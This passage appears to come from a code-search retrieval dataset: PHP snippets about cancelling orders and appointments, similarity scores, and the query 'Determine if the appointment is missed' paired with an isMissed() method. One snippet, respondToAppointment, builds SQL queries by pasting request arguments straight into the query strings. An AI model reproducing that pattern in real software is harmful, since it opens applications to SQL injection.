$appointment->schedule->date,\n 'time' => $appointment->time,\n 'patient' => $appointment->patient->name,\n 'doctor' => $appointment->doctor->name,\n ];\n $appointment->patient->user->notify(new AppointmentNotification($notification));\n $appointment->doctor->user->notify(new AppointmentNotification($notification));\n return back()->with('success', 'Appointment Cancelled Successfully');\n }", "public function cancelCurrentOrder($comment)\n {\n $order = $this->getCheckoutSession()->getLastRealOrder();\n if ($order->getId() && $order->getState() != Order::STATE_CANCELED) {\n $order->registerCancellation($comment)->save();\n return true;\n }\n return false;\n }", "public function cancel()\n {\n $user = Auth::user();\n\n if ( $user->cancel_rank() )\n flash('Your place request was canceled.')->success()->important();\n\n if ( $user->cancel_place() )\n flash('Your place as been removed.')->success()->important();\n\n return redirect()->back();\n }", "public function cancelorder($order,$rmaid){\n $flag = 0;\n if ($order->canCancel()) {\n $order->getPayment()->cancel();\n $flag = $this->mpregisterCancellation($order,$rmaid);\n }\n\n return $flag;\n }", "private function isCancelledInFlow($status){\r\n return $status == 4;\r\n }", "public function isRejected() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->rejectionDate) ? false: true;\r\n\t}", "public function isMissed(): bool\n {\n return $this->status == 'missed';\n }", "public function cancel(): void;", "public function cancel()\n {\n }", "public function cancel()\n {\n }", "public function getTaxCanceled();", "public function getHasBeenRejectedBefore(): bool;", "public function cancelAction()\n {\n $event = Mage::getModel('payanyway/event')\n ->setEventData($this->getRequest()->getParams());\n $message = $event->cancelEvent();\n\n // set quote to active\n $session = $this->_getCheckout();\n if ($quoteId = $session->getPayanywayQuoteId()) {\n $quote = Mage::getModel('sales/quote')->load($quoteId);\n if ($quote->getId()) {\n $quote->setIsActive(true)->save();\n $session->setQuoteId($quoteId);\n }\n }\n $session->addError($message);\n $this->_redirect('checkout/cart');\n }", "public function cancel( Request $request ) {\n\t\ttry {\n\n\t\t\t( new TripController )->cancel( $request );\n\n\t\t\treturn back()->with( [ 'flash_success' => trans( 'admin.provider_msgs.trip_cancelled' ) ] );\n\t\t} catch ( ModelNotFoundException $e ) {\n\t\t\treturn back()->with( [ 'flash_error' => trans( 'admin.something_wrong' ) ] );\n\t\t}\n\t}", "protected function _cancelOperation() {}", "public function isNotError() : bool\n {\n return in_array($this->getCode(), [self::CANCELLED, self::FAILED]);\n }", "public function cancel($value) {\n return $this->setProperty('cancel', $value);\n }", "public function cancel_request() {\n\n $pending_request_exists = $this->micro_relation_exists($this->from, $this->to, \"P\");\n\n if($pending_request_exists) {\n $this->delete_relation(\"P\");\n }\n }", "public function isOngoing()\n {\n if (empty($this->eventdatetime->endtime)) {\n return false;\n }\n\n $start = date('m-d-Y', strtotime($this->eventdatetime->starttime));\n $end = date('m-d-Y', strtotime($this->eventdatetime->endtime));\n\n //It is not an ongoing event if it starts and ends on the same day.\n if ($start == $end) {\n return false;\n }\n\n return true;\n }", "public function cancel();", "public function getBaseShippingCanceled();", "public function actionCancel()\n {\n }", "public function isPended() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->pendingDate) ? false: true;\r\n\t}", "public function getTotalCanceled()\n {\n return $this->totalCanceled;\n }", "protected function cancel(): void\n {\n }", "private function userCanceledPayment($status, $flowData){\r\n return $this->isPendingInFlow($status)\r\n && empty($flowData['paymentData']['media'])\r\n && empty($flowData['pending_info']['media']);\r\n }", "public function hasCancellation($relatedDocNo) {\n trace('[METHOD] '.__METHOD__);\n $hasCancellation = false;\n $continuedDocumentArray = tx_ptgsaaccounting_gsaTransactionAccessor::getInstance()->selectContinuedDocuments($relatedDocNo);\n foreach ($continuedDocumentArray as $continuedDocument) {\n if ($continuedDocument['documentType'] == '06ST') {\n $hasCancellation = true;\n trace($relatedDocNo,0,'Cancellation');\n break;\n }\n }\n return $hasCancellation;\n }", "public function dockCancel(){\n\t\treturn $this->_sendPacketToController(self::DOCK_CANCEL);\n\t}", "public function actionCancelPlan(){\n // Redirect back to billing page if doesnt have a plan active\n $isBillingActive = Yii::$app->user->identity->getBillingDaysLeft();\n if(!$isBillingActive){\n return $this->redirect(['billing/index']);\n }\n\n $customerName = Yii::$app->user->identity->agent_name;\n $latestInvoice = Yii::$app->user->identity->getInvoices()->orderBy('invoice_created_at DESC')->limit(1)->one();\n\n if($latestInvoice){\n Yii::error(\"[Requested Cancel Billing #\".$latestInvoice->billing->twoco_order_num.\"] Customer: $customerName\", __METHOD__);\n // Cancel the recurring plan\n $latestInvoice->billing->cancelRecurring();\n }\n\n Yii::$app->getSession()->setFlash('warning', \"[Plan Cancelled] Billing plan has been cancelled as requested.\");\n\n return $this->redirect(['billing/index']);\n }", "public function testCancel()\n {\n VCR::insertCassette('pickups/cancel.yml');\n\n $shipment = Shipment::create(Fixture::oneCallBuyShipment());\n\n $pickupData = Fixture::basicPickup();\n $pickupData['shipment'] = $shipment;\n\n $pickup = Pickup::create($pickupData);\n\n $boughtPickup = $pickup->buy([\n 'carrier' => Fixture::usps(),\n 'service' => Fixture::pickupService(),\n ]);\n\n $cancelledPickup = $boughtPickup->cancel();\n\n $this->assertInstanceOf('\\EasyPost\\Pickup', $cancelledPickup);\n $this->assertStringMatchesFormat('pickup_%s', $cancelledPickup->id);\n $this->assertEquals('canceled', $cancelledPickup->status);\n }", "protected function hasSystemCallBeenInterrupted()\n {\n $lastError = error_get_last();\n\n // stream_select returns false when the `select` system call is interrupted by an incoming signal\n return isset($lastError['message']) && false !== stripos($lastError['message'], 'interrupted system call');\n }", "private function isCompletedTaskCountNegative(): bool\n {\n $count = \\count($this->models) - \\count($this->completed_tasks);\n return \\substr(\\strval($count), 0, 1) === '-';\n }", "public function confirmCancel($appointment_id) {\n $this->cancellingBooking = Appointment::where('appointment_id', $appointment_id)->first();\n $this->cancellingBooking->cancelled = 0;\n $this->cancellingBooking->save();\n\n //refresh page\n // return redirect()->route('viewBookings');\n }" ]
[ "0.7763787", "0.7612273", "0.74654275", "0.731061", "0.72713053", "0.71372855", "0.7004523", "0.6984274", "0.6852371", "0.68481666", "0.6838992", "0.67065966", "0.66342235", "0.66126335", "0.6599292", "0.6537981", "0.65160793", "0.65000534", "0.6405564", "0.6261916", "0.62485254", "0.61276025", "0.61257195", "0.61049664", "0.6025295", "0.6012468", "0.6002182", "0.5974726", "0.5958647", "0.59456414", "0.59089303", "0.5893505", "0.5891642", "0.5871944", "0.5868225", "0.5848445", "0.5835272", "0.5828333", "0.5816855", "0.5811977", "0.57422173", "0.57308316", "0.57306415", "0.571647", "0.56915843", "0.56890935", "0.56779325", "0.5557967", "0.55450135", "0.5544183", "0.5537806", "0.55332875", "0.5516348", "0.5505959", "0.5498116", "0.5485695", "0.5485695", "0.548328", "0.54563427", "0.5437128", "0.5424689", "0.5424689", "0.5419786", "0.54049766", "0.54034865", "0.540202", "0.53996545", "0.53893447", "0.53537136", "0.53284526", "0.53269136", "0.53058165", "0.53002733", "0.52818733", "0.5280522", "0.5276663", "0.5276663", "0.5272521", "0.5242084", "0.52206904", "0.52127105", "0.5211701", "0.5211509", "0.52050334", "0.5200981", "0.5197226", "0.5185604", "0.51712775", "0.5164896", "0.5160434", "0.5109893", "0.50888944", "0.5087288", "0.50856096", "0.5082007", "0.5071149", "0.5061299", "0.5059817", "0.5058229", "0.5051822" ]
0.7692145
1
Determine if the appointment is missed.
public function isMissed(): bool { return $this->status == 'missed'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function isRedeemed() {\n // we get if it wasn't used yet\n return $this->getUsed_at() != '';\n }", "public function hasAlarmList()\n {\n return $this->alarm !== null;\n }", "private function checkEventDateNotDue(){\n $event = Event::find($this->id);\n $now = Carbon::now();\n \n $startTime = Carbon::createFromFormat('Y-m-d H:i:s', $event->start_time);\n return $startTime->gt($now);\n }", "public function hasFailures()\n {\n return $this->failedsportevents > 0;\n }", "protected function isStatusDismissed()\n {\n return $this->getStatus() === self::STATUS_DISMISSED;\n }", "public function hasMissing() {\n return $this->_has(2);\n }", "public function hasNotCompleted() : bool\n {\n return $this->completed_at === null;\n }", "public function isMissing() {}", "public function didNotExistAfter(): bool\n {\n return $this->afterDoesNotExist;\n }", "public function isRedeemed()\n\t{\n\t\tif (!$this->exists())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tif ($this->get('redeemed_by'))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function isPended() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->pendingDate) ? false: true;\r\n\t}", "public function isOngoing()\n {\n if (empty($this->eventdatetime->endtime)) {\n return false;\n }\n\n $start = date('m-d-Y', strtotime($this->eventdatetime->starttime));\n $end = date('m-d-Y', strtotime($this->eventdatetime->endtime));\n\n //It is not an ongoing event if it starts and ends on the same day.\n if ($start == $end) {\n return false;\n }\n\n return true;\n }", "public function isNotReceived()\n\t{\n\t\tif($this->test_status_id == Test::NOT_RECEIVED)\n\t\t\treturn true;\n\t\telse \n\t\t\treturn false;\n\t}", "public function isUnknownEvent()\n {\n return $this->baseEvent->isUnknownEvent();\n }", "public function isMissing():int\n {\n return $this->is_missing;\n }", "public function isDayPassed()\n {\n return ($this->declineTime < (time() - self::ONE_DAY_IN_SECONDS));\n }", "public function isDone()\n\t{\n\t $today = Carbon::now()->setTimezone('America/Los_Angeles')->startOfDay();\n\t return $today->gte($this->event_date->endOfDay());\n\t}", "public function hasPassed()\n {\n if (empty($this->startDate) || empty($this->endDate)) {\n return false;\n }\n\n $next = $this->next()->next;\n\n return DateTimeHelper::isInThePast($next);\n }", "public function isNoAllergy()\n {\n $result = false;\n\n if (\n isset($this->entryRelationship->observation['negationInd']) &&\n $this->entryRelationship->observation['negationInd'] == true\n ) {\n $result = true;\n }\n\n return $result;\n }", "public function isRejected() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->rejectionDate) ? false: true;\r\n\t}", "public static function isOverdue()\n {\n $config = JRegister::get('config');\n\n // Verify access token exist\n if (!$config->get('accessToken', false))\n {\n return false;\n }\n\n // Verify oauth start time and expires_in exist\n $oauthStartTime = $config->get('time');\n $oauthLengthTime = $config->get('expiresIn');\n if (!$oauthStartTime || !$oauthLengthTime)\n {\n return false;\n }\n\n // Verify oauth end time is useful or not\n return !($oauthStartTime/1000 + $oauthLengthTime < time());\n }", "public function didNotExistBefore(): bool\n {\n return $this->beforeDoesNotExist;\n }", "public function hasRecruitment() {\n return $this->_has(4);\n }", "public function isAuditFailure()\n {\n return $this->auditFailure;\n }", "public function isStartedAndNotFinished()\r\n {\r\n $now = Zend_Date::now();\r\n \r\n $date = new Zend_Date($this->start_time);\r\n $afterStart = $now->compare($date) === 1;\r\n\r\n $date->addDay($this->duration);\r\n $beforeEnd = $now->compare($date) === -1;\r\n \r\n return $afterStart && $beforeEnd;\r\n }", "public function shouldBeSkipped() {\n\t\treturn !$this->countItems();\n\t}", "function is_not_paying() {\n\t\t\treturn ( $this->is_trial() || $this->is_free_plan() );\n\t\t}", "public function check()\n {\n return empty($this->_vars['reason'])\n ? _(\"Missing reason in vacation.\")\n : true;\n }", "public function checkForAnuallyRecurring()\n {\n // not supported\n }", "public function isReplaying() {\r\n return!$this->isRecording();\r\n }", "private function checkEventExists(){\n $event = Event::find($this->id);\n\n return(!is_null($event));\n }", "public function shouldHide() {\n // \"alice set this event to repeat weekly.\" event in normal circumstances\n // anyway.\n return true;\n }", "public function testGetScheduleByInvalidScheduleStartTime() {\n\t\t$schedule = Schedule::getScheduleByScheduleStartTime($this->getPDO(), $this->VALID_SCHEDULESTARTTIME1);\n\n\t\t$this->assertCount(0, $schedule);\n\t}", "public function eventExists()\n {\n return $this->getTalk()->getSpeaker()->exists();\n }", "function isDeclined() {\n return $this->getStatus() == UserpointsTransaction::STATUS_DECLINED;\n }", "public function questionLoadingFailed()\r\n {\r\n return (!isset($this->questionInfo->items));\r\n }", "public function dailyQuestionDoesNotReturnIncomingQuestions(): void\n {\n $unwantedIncomingQuestion = QuestionUserHelper::createIncomingQuestionForUser($this->user);\n $dailyQuestions = $this->user->dailyQuestions()->get();\n\n $this->assertFalse($dailyQuestions->contains($unwantedIncomingQuestion));\n }", "function Record_Event_Failure($application_id, $event_schedule_id)\n{\n\t$log = get_log(\"scheduling\");\n\t$log->Write(\"[Agent:{$_SESSION['agent_id']}][AppID:{$_SESSION['current_app']->application_id}] Recording Transaction Failure(s) for event_schedule_id {$event_schedule_id}\");\n\n\t$trids = Fetch_Transaction_IDs_For_Event($event_schedule_id);\n\n\tif(count($trids) == 0)\n\treturn false;\n\n\t//It's totally possible for one of the transactions to not get failed successfully (because it's already failed)\n\t//But still successfully fail the rest. [W!-02-03-2009][#23170]\n\t$failure_success = false;\n\tforeach($trids as $trid)\n\t{\n\t\t$fail_result = Record_Transaction_Failure($application_id, $trid);\n\t\tif($fail_result == true)\n\t\t{\n\t\t\t$failure_success = true;\n\t\t}\n\t}\n\treturn $failure_success;\n}", "public function isStatusNotPaid()\n {\n return $this->status == self::_ORDER_STATUS_NEW || $this->status == self::_ORDER_STATUS_REJECTED;\n }", "public function hasRelivetime(){\n return $this->_has(3);\n }", "public function isInvoiced() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->invoiceDate) ? false: true;\r\n\t}", "public function getHasBeenRejectedBefore(): bool;", "public function isDeclined(): bool;", "public function isOverdue()\n {\n $dueDate = $this->dueDate;\n\n if (!$dueDate) {\n\n return false;\n }\n\n $now = Carbon::now()->setTime(0,0,0);\n\n return $dueDate->lt($now);\n }", "function unattended() {\n\t\tself::$_db->saveQry(\"SELECT `ID` FROM `#_reservations` \".\n\t\t\t\t\"WHERE (`status` = 'queued') \".\n\t\t\t\t\"AND `startTime` <= ?\",\n\t\t\t\tCalendar::unattended());\n\t\t\n\t\twhile($res = self::$_db->fetch_assoc())\n\t\t\tReservation::load($res['ID'])->unattended();\n\t}", "public function validate_date()\n {\n if( is_null( $this->participant_id ) )\n throw lib::create( 'exception\\runtime',\n 'Cannot validate appointment date, participant id is not set.', __METHOD__ );\n\n $db_participant = lib::create( 'database\\participant', $this->participant_id );\n $db_site = $db_participant->get_primary_site();\n if( is_null( $db_site ) )\n throw lib::create( 'exception\\runtime',\n 'Cannot validate an appointment date, participant has no primary address.', __METHOD__ );\n \n $shift_template_class_name = lib::get_class_name( 'database\\shift_template' );\n $shift_class_name = lib::get_class_name( 'database\\shift' );\n\n // determine the full and half appointment intervals\n $setting_manager = lib::create( 'business\\setting_manager' );\n $half_duration = $setting_manager->get_setting( 'appointment', 'half duration' );\n $full_duration = $setting_manager->get_setting( 'appointment', 'full duration' );\n\n $start_datetime_obj = util::get_datetime_object( $this->datetime );\n $next_day_datetime_obj = clone $start_datetime_obj;\n $next_day_datetime_obj->add( new\\DateInterval( 'P1D' ) );\n $end_datetime_obj = clone $start_datetime_obj;\n $duration = 'full' == $this->type ? $full_duration : $half_duration;\n $end_datetime_obj->add( new \\DateInterval( sprintf( 'PT%dM', $duration ) ) );\n\n // determine whether to test for shifts or shift templates on the appointment day\n $modifier = lib::create( 'database\\modifier' );\n $modifier->where( 'site_id', '=', $db_site->id );\n $modifier->where( 'start_datetime', '>=', $start_datetime_obj->format( 'Y-m-d' ) );\n $modifier->where( 'start_datetime', '<', $next_day_datetime_obj->format( 'Y-m-d' ) );\n\n $diffs = array();\n\n if( 0 == $shift_class_name::count( $modifier ) )\n { // determine slots using shift template\n $modifier = lib::create( 'database\\modifier' );\n $modifier->where( 'site_id', '=', $db_site->id );\n $modifier->where( 'start_date', '<=', $start_datetime_obj->format( 'Y-m-d' ) );\n foreach( $shift_template_class_name::select( $modifier ) as $db_shift_template )\n {\n if( $db_shift_template->match_date( $start_datetime_obj->format( 'Y-m-d' ) ) )\n {\n $start_time_as_int =\n intval( preg_replace( '/[^0-9]/', '',\n substr( $db_shift_template->start_time, 0, -3 ) ) );\n if( !array_key_exists( $start_time_as_int, $diffs ) ) $diffs[$start_time_as_int] = 0;\n $diffs[$start_time_as_int] += $db_shift_template->operators;\n\n $end_time_as_int =\n intval( preg_replace( '/[^0-9]/', '',\n substr( $db_shift_template->end_time, 0, -3 ) ) );\n if( !array_key_exists( $end_time_as_int, $diffs ) ) $diffs[$end_time_as_int] = 0;\n $diffs[$end_time_as_int] -= $db_shift_template->operators;\n }\n }\n }\n else // determine slots using shifts\n {\n $modifier = lib::create( 'database\\modifier' );\n $modifier->where( 'site_id', '=', $db_site->id );\n $modifier->where( 'start_datetime', '<', $end_datetime_obj->format( 'Y-m-d H:i:s' ) );\n $modifier->where( 'end_datetime', '>', $start_datetime_obj->format( 'Y-m-d H:i:s' ) );\n foreach( $shift_class_name::select( $modifier ) as $db_shift )\n {\n $start_time_as_int =\n intval( preg_replace( '/[^0-9]/', '',\n substr( $db_shift->start_datetime, -8, -3 ) ) );\n $end_time_as_int =\n intval( preg_replace( '/[^0-9]/', '',\n substr( $db_shift->end_datetime, -8, -3 ) ) );\n\n if( !array_key_exists( $start_time_as_int, $diffs ) ) $diffs[$start_time_as_int] = 0;\n $diffs[$start_time_as_int]++;\n if( !array_key_exists( $end_time_as_int, $diffs ) ) $diffs[$end_time_as_int] = 0;\n $diffs[$end_time_as_int]--;\n }\n }\n \n // and how many appointments are during this time?\n $modifier = lib::create( 'database\\modifier' );\n $modifier->where( 'datetime', '>=', $start_datetime_obj->format( 'Y-m-d' ) );\n $modifier->where( 'datetime', '<', $next_day_datetime_obj->format( 'Y-m-d' ) );\n if( !is_null( $this->id ) ) $modifier->where( 'appointment.id', '!=', $this->id );\n $appointment_class_name = lib::get_class_name( 'database\\appointment' );\n foreach( $appointment_class_name::select_for_site( $db_site, $modifier ) as $db_appointment )\n {\n $state = $db_appointment->get_state();\n if( 'reached' != $state && 'not reached' != $state )\n { // incomplete appointments only\n $appointment_datetime_obj = util::get_datetime_object( $db_appointment->datetime );\n \n $start_time_as_int = intval( $appointment_datetime_obj->format( 'Gi' ) );\n \n $duration = 'full' == $db_appointment->type ? $full_duration : $half_duration;\n $appointment_datetime_obj->add( new \\DateInterval( sprintf( 'PT%dM', $duration ) ) );\n $end_time_as_int = intval( $appointment_datetime_obj->format( 'Gi' ) );\n \n if( !array_key_exists( $start_time_as_int, $diffs ) ) $diffs[ $start_time_as_int ] = 0;\n $diffs[ $start_time_as_int ]--;\n if( !array_key_exists( $end_time_as_int, $diffs ) ) $diffs[ $end_time_as_int ] = 0;\n $diffs[ $end_time_as_int ]++;\n }\n }\n \n // if we have no diffs on this day, then we have no slots\n if( 0 == count( $diffs ) ) return false;\n\n // use the 'diff' arrays to define the 'times' array\n $times = array();\n ksort( $diffs );\n $num_operators = 0;\n foreach( $diffs as $time => $diff )\n {\n $num_operators += $diff;\n $times[$time] = $num_operators;\n }\n\n // end day with no operators (4800 is used because it is long after the end of the day)\n $times[4800] = 0;\n \n // Now search the times array for any 0's inside the appointment time\n // NOTE: we need to include the time immediately prior to the appointment start time\n $start_time_as_int = intval( $start_datetime_obj->format( 'Gi' ) );\n $end_time_as_int = intval( $end_datetime_obj->format( 'Gi' ) );\n $match = false;\n $last_slots = 0;\n $last_time = 0;\n\n foreach( $times as $time => $slots )\n {\n // check the start time\n if( $last_time <= $start_time_as_int &&\n $time > $start_time_as_int &&\n 1 > $last_slots ) return false;\n\n // check the end time\n if( $last_time < $end_time_as_int &&\n $time >= $end_time_as_int &&\n 1 > $last_slots ) return false;\n\n $last_slots = $slots;\n $last_time = $time;\n }\n \n return true;\n }", "public function testGetMessageListAppointments()\r\n\t{\r\n\t\t// Create an event to make sure we have at least one\r\n\t\t$obj = CAntObject::factory($this->dbh, \"calendar_event\", null, $this->user);\r\n\t\t$obj->setValue(\"name\", \"My Test Event\");\r\n\t\t$obj->setValue(\"ts_start\", date(\"m/d/Y\") . \" 12:00 PM\");\r\n\t\t$obj->setValue(\"ts_end\", date(\"m/d/Y\") . \" 01:00 PM\");\r\n\t\t$eid = $obj->save();\r\n\r\n\t\t// Get events\r\n\t\t$events = $this->backend->GetMessageList(\"calendar_root\", time()); // second param cuts off to today\r\n\t\t$found = false;\r\n\t\tforeach ($events as $evt)\r\n\t\t{\r\n\t\t\tif ($evt[\"id\"] == $eid)\r\n\t\t\t\t$found = true;\r\n\t\t}\r\n\t\t$this->assertTrue($found);\r\n\r\n\t\t// Cleanup\r\n\t\t$obj->removeHard();\r\n\t}", "public function IsNotDone()\n {\n $isStarted = $this->IsStarted();\n $questionsLeft = $this->IsQuestionsLeft();\n $validNumQuestions = $this->IsLvlQAsCountValid();\n \n $isNotDone = !$isStarted || ($questionsLeft && $validNumQuestions);\n \n return $isNotDone;\n }", "public function canBeDeclined()\n {\n return $this->isAwaitingFee();\n }", "public function canRepeat() {\n return (\n -1 === $this->repeat || // Unlimited repeats, or...\n $this->actualCalls < $this->repeat // Limit reached\n );\n }", "public function cancelled()\n {\n return ! is_null($this->cancelledAt);\n }", "function isNoTrial() {\n return $this->plan === 'no-trial';\n }", "public static function failed_event_method()\n {\n return false;\n }", "public function isRejected()\n {\n return ($this->slug == \"afgekeurd\");\n }", "private function checkEventNotBookedByCreator(){\n $event = Event::find($this->id);\n\n return($event->host != Auth::id());\n }", "public function isNotWired(): bool\n {\n return !$this->isWired();\n }", "protected function isCaptureDeclined()\n {\n return $this->reader->getStatusCode() === self::CAPTURE_DECLINED_STATUS_CODE;\n }", "public function cancelled() : bool\n {\n return !is_null($this->ends_at) && $this->is_cancelled;\n }", "protected function respondToAppointment($args) {\n\n if ($args['ent_appnt_dt'] == '' || $args['ent_response'] == '' || $args['ent_pas_email'] == '' || $args['ent_book_type'] == '' || $args['ent_date_time'] == '')\n return $this->_getStatusMessage(1, 1);\n\n $this->curr_date_time = urldecode($args['ent_date_time']);\n\n $returned = $this->_validate_token($args['ent_sess_token'], $args['ent_dev_id'], '1');\n\n if (is_array($returned))\n return $returned;\n\n $args['ent_appnt_dt'] = urldecode($args['ent_appnt_dt']);\n\n $patData = $this->_getEntityDet($args['ent_pas_email'], '2');\n\n $oneHourBefore = date('Y-m-d H:i:s', strtotime('-1 hour', strtotime($args['ent_appnt_dt'])));\n\n if ($args['ent_book_type'] == '1')\n $checkApptStr = \" and appointment_dt between ('\" . $oneHourBefore . \"' and '\" . $args['ent_appnt_dt'] . \"')\";\n else\n $checkApptStr = \" and appointment_dt = '\" . $args['ent_appnt_dt'] . \"'\";\n\n $getApptDetQry = \"select status from appointment where mas_id = '\" . $this->User['entityId'] . \"' and status = '2'\" . $checkApptStr;\n\n if (mysql_num_rows(mysql_query($getApptDetQry, $this->db->conn)) > 0)\n return $this->_getStatusMessage(60, 60);\n\n $getApptDetQry = \"select status, appt_type from appointment where mas_id = '\" . $this->User['entityId'] . \"' and appointment_dt = '\" . $args['ent_appnt_dt'] . \"' and slave_id = '\" . $patData['slave_id'] . \"' order by appointment_id DESC\";\n $apptDet = mysql_fetch_assoc(mysql_query($getApptDetQry, $this->db->conn));\n\n if ($apptDet['status'] == '4')\n return $this->_getStatusMessage(41, 3);\n\n if ($apptDet['status'] == '10')\n return $this->_getStatusMessage(72, 72);\n\n if ($apptDet['status'] > '1')\n return $this->_getStatusMessage(40, 40);\n\n $updateString = '';\n\n// if ($args['ent_book_type'] == '1')\n// $updateString = \", appointment_dt = '\" . $this->curr_date_time . \"'\";\n\n $updateResponseQry = \"update appointment set status = '\" . $args['ent_response'] . \"'\" . $updateString . \" where mas_id = '\" . $this->User['entityId'] . \"' and slave_id = '\" . $patData['slave_id'] . \"' and appointment_dt = '\" . $args['ent_appnt_dt'] . \"' and status = 1\";\n mysql_query($updateResponseQry, $this->db->conn);\n\n if (mysql_affected_rows() <= 0)\n return $this->_getStatusMessage(102, $updateResponseQry);\n\n// if ($args['ent_response'] == '2') {\n// $notifType = 2;\n// $message = \"Your appointment with \" . $this->User['firstName'] . \" is confirmed for \" . date('m/d/Y h:i a', strtotime($args['ent_appnt_dt'])) . \" on \" . $this->appName . \"!\";\n// } else {\n// $notifType = 10;\n// $message = \"Your appointment with \" . $this->User['firstName'] . \" is rejected for \" . date('m/d/Y h:i a', strtotime($args['ent_appnt_dt'])) . \" on \" . $this->appName . \"!\";\n// }\n\n if ($args['ent_book_type'] == '1' && $args['ent_response'] == '2') {\n// $deleteAllSessionsQry = \"update master set status = '5' where mas_id = '\" . $this->User['entityId'] . \"'\";\n// mysql_query($deleteAllSessionsQry, $this->db->conn);\n// if (mysql_affected_rows() < 0)\n// return $this->_getStatusMessage(70, $deleteAllSessionsQry);\n\n $location = $this->mongo->selectCollection('location');\n\n $location->update(array('user' => (int) $this->User['entityId']), array('$set' => array('status' => 4)));\n } else if ($args['ent_book_type'] == '2' && $args['ent_response'] == '2') {\n \n }\n\n// $this->ios_cert_path = $this->ios_roadyo_pas;\n// $this->ios_cert_pwd = $this->ios_pas_pwd;\n// $aplPushContent = array('alert' => $message, 'nt' => $notifType, 'sname' => $this->User['firstName'], 'dt' => $this->curr_date_time, 'sound' => 'default');\n// $andrPushContent = array(\"payload\" => $message, 'action' => $notifType, 'sname' => $this->User['firstName'], 'dt' => $this->curr_date_time);\n// $pushNum = $this->_sendPush($this->User['entityId'], array($patData['slave_id']), $message, '2', $this->User['firstName'], $this->curr_date_time, '2', $aplPushContent, $andrPushContent);\n\n return $this->_getStatusMessage(40, 40);\n }", "public function hasDeceasedAt(): bool;", "public function isReported()\n\t{\n\t\tif ($this->get('state') == self::APP_STATE_FLAGGED)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function isPastBidTime()\n\t{\n\t\t//light check if task is active\n\t\tif (!$this->active)\n\t\t\treturn true;\n\t\t\n\t\t//heavier time check in case time is passed but the sentinel has not caught the task yet\n\t\tif ($this->enddatetime <= time())\n\t\t{\n\t\t\t$this->endTask();\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "public function isRejected() {\n\t\treturn $this->approved == -1;\n\t}", "public function didSkip()\n {\n return (bool) ($this->status & static::DID_SKIP);\n }", "public function canBeCanceled()\n\t{\n\t\t$flight_at = Carbon::createFromFormat('Y-m-d H:i:s', $this->flight_at);\n if ($flight_at->subMinute(config('flight.enable_cancel'))->isFuture()) {\n return true;\n }\n else {\n\t\t\treturn false;\n }\n\t}", "public function unpaid(): bool\n {\n return in_array($this->status, [self::PENDING]);\n }", "public function hasTimeEvents(){\n return $this->_has(8);\n }", "public function handleExistAppointments($id){\n\n $appointments = DB::table('medical_appointments')\n ->join('users', 'medical_appointments.user', '=', 'users.id')\n ->where('workplace',$id)->wheredate('when', '>', Carbon::today())\n ->select('medical_appointments.*', 'users.name', 'users.profile_photo')\n ->get();\n\n if(count($appointments) > 0){\n foreach($appointments as $app){\n $app->when;\n }\n return $appointments;\n } \n else{ \n return 'null';\n }\n }", "public function testGetScheduleByInvalidScheduleLocationName() {\n\n\t\t$schedule = Schedule::getScheduleByScheduleLocationName($this->getPDO(), \"THIS LOCATION NAME DOES NOT EXIST\");\n\n\t\t$this->assertCount(0, $schedule);\n\t}", "public function didFail()\n {\n return (bool) ($this->status & static::DID_FAIL);\n }", "public function is_missing_required_data(){\n\t\tif ( ! $this->exists ) {\n\t\t\treturn true;\n\t\t}\n\n\t\tif ( ! $this->get_trigger() ) {\n\t\t\treturn true;\n\t\t}\n\n\t\tif ( $this->data_layer()->is_missing_data() ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "public function existNoReturned(){\r\n $docs=ClientSDocs::where('projectclientservices_id',$this->id)->where('file_id',-1) ->get();\r\n if($docs!=null){\r\n foreach($docs as $doc)\r\n if($doc->notes_resend==\"\")\r\n return true;\r\n }\r\n return false;\r\n }", "function testGetNotReviewed()\n {\n $events = $this->GroupEvent->getNotReviewed(1);\n $this->assertEqual(Set::extract('/GroupEvent/id', $events), array(1, 2));\n\n //Test invalid event\n $events = $this->GroupEvent->getNotReviewed(999);\n $this->assertEqual(Set::extract('/GroupEvent/id', $events), null);\n }", "public function hasFailure()\n\t{\n\t\treturn !is_null($this->failure);\n\t}", "public function testGetScheduleByInvalidScheduleEndTime() {\n\t\t$schedule = Schedule::getScheduleByScheduleEndTime($this->getPDO(), $this->VALID_SCHEDULEENDTIME1);\n\n\t\t$this->assertCount(0, $schedule);\n\t}", "public static function isRepairAwaiting($repair)\n {\n\n if ( count($repair->trackings) && $repair->trackings->last()->status == 1 )\n {\n return true;\n } else {\n return false;\n }\n\n }", "public function hasTime(){\n return $this->_has(6);\n }", "function get_appointment_times($db, $appointments) {\n $unavailable_times = array();\n $available_times = array();\n foreach ($appointments as $appointment) {\n array_push($unavailable_times, date(\"Y-m-d H:i:s\", strtotime($appointment['appt_time'])));\n }\n foreach ($unavailable_times as $unavailable_time) {\n $possible_time = date(\"Y-m-d H:i:s\", strtotime($unavailable_time . \"+1 hour\"));\n if (!in_array($possible_time, $unavailable_times)) {\n array_push($available_times, $possible_time);\n }\n }\n return $available_times;\n}", "public function issetReminderPeriod($index)\n {\n return isset($this->reminderPeriod[$index]);\n }", "public function hasStarttime(){\n return $this->_has(7);\n }", "public function testGetScheduleByInvalidScheduleId() {\n\t\t$schedule = Schedule::getScheduleByScheduleCompanyId($this->getPDO(), CrumbTrailTest::INVALID_KEY);\n\n\t\t$this->assertCount(0, $schedule);\n\t}", "function goNoGoForLaunch($place){\n return $this->ship->hold->get($this->fuel()) >= $this->getFuelReqTo($place);\n }", "public function isSomeAmountMissing(): bool\n {\n if ( $this->getAmountMissing() > 0 )\n return true;\n return false;\n }", "public function 